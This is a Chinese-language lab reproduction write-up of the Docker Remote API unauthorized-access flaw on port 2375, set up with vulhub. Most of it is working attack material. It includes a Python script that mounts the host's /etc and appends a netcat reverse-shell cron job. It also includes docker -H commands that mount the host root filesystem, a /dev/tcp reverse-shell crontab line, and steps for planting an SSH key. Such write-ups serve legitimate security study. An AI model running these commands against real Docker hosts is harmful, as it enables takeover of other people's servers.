漏洞复现-docker-unauthorized-rce

目录

一、漏洞介绍

1.1漏洞成因

2.2环境准备

二、漏洞检测

三、漏洞利用

1.脚本利用

2.定时任务反弹shell

3. 写ssh公钥获取shell


一、漏洞介绍

1.1漏洞成因

        docker remote API未授权访问漏洞,此API主要目的是取代命令执行页面,开放2375监听容器时,会调用这个API。方便docker集群管理和扩展

2.2环境准备

        靶机环境:192.168.xx.xxx (ubuntu)

        攻击环境:192.168.xx.xxx (kali)

        在靶机上使用vulhub复现漏洞环境。

        vulhub官网地址:https://vulhub.org

cd /vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

二、漏洞检测

直接输入地址 http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞。

漏洞复现-docker-unauthorized-rce_第1张图片

漏洞复现-docker-unauthorized-rce_第2张图片

三、漏洞利用

1.脚本利用

在kali上安装docker环境

apt-get install docker docker-compose
service docker start

 在kali上开启nc监听本地1111端口,用来接收反弹的Shell

nc -l -p 1111

使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

然后执行 python 脚本反弹Shell给Kali主机的1111端口

python docker-hack.py

执行完脚本,耐心等待一会才会反弹shell到kali主机,大约一分多钟时间。

我最后没弹出来shell-尴尬

2.定时任务反弹shell

docker -H tcp://x.x.x.x:2375 images 

漏洞复现-docker-unauthorized-rce_第3张图片

(1)能看到宿主机的镜像,说明漏洞存在

(2)开始利用:

列出当前所有镜像

docker -H 192.168.xxx.xxx:2375 images 

漏洞复现-docker-unauthorized-rce_第4张图片

列出当前所有容器

docker -H 192.168.xxx.xxx:2375 ps -a 

在宿主机上启动docker容器:

 docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt e66264b98777 /bin/bash        (113a43faa138为images ID )
 docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt e66264b98777 /bin/sh        (113a43faa138为images ID )

这条命令的意思是启动一个image ID 为e66264b98777的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下

启动之后就会获得该容器宿主机的shell:

漏洞复现-docker-unauthorized-rce_第5张图片

 crontab -e 写入定时任务

***** /bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx./1234 0>&1

漏洞复现-docker-unauthorized-rce_第6张图片

3. 写ssh公钥获取shell

在攻击者得v屁s上生成一对公私钥

>>ssh-keygen -t rsa
>>输入密钥名
>>输入密码

查看并复制服务器公钥

在这里插入图片描述

进入到victim挂在的目录下(/mnt/root)

在这里插入图片描述

进入.ssh目录,查看是否有公钥存在(如果有则将之前的公钥进行重定向覆盖)

在这里插入图片描述

你可能感兴趣的:(web安全,漏洞复现,安全,docker,容器)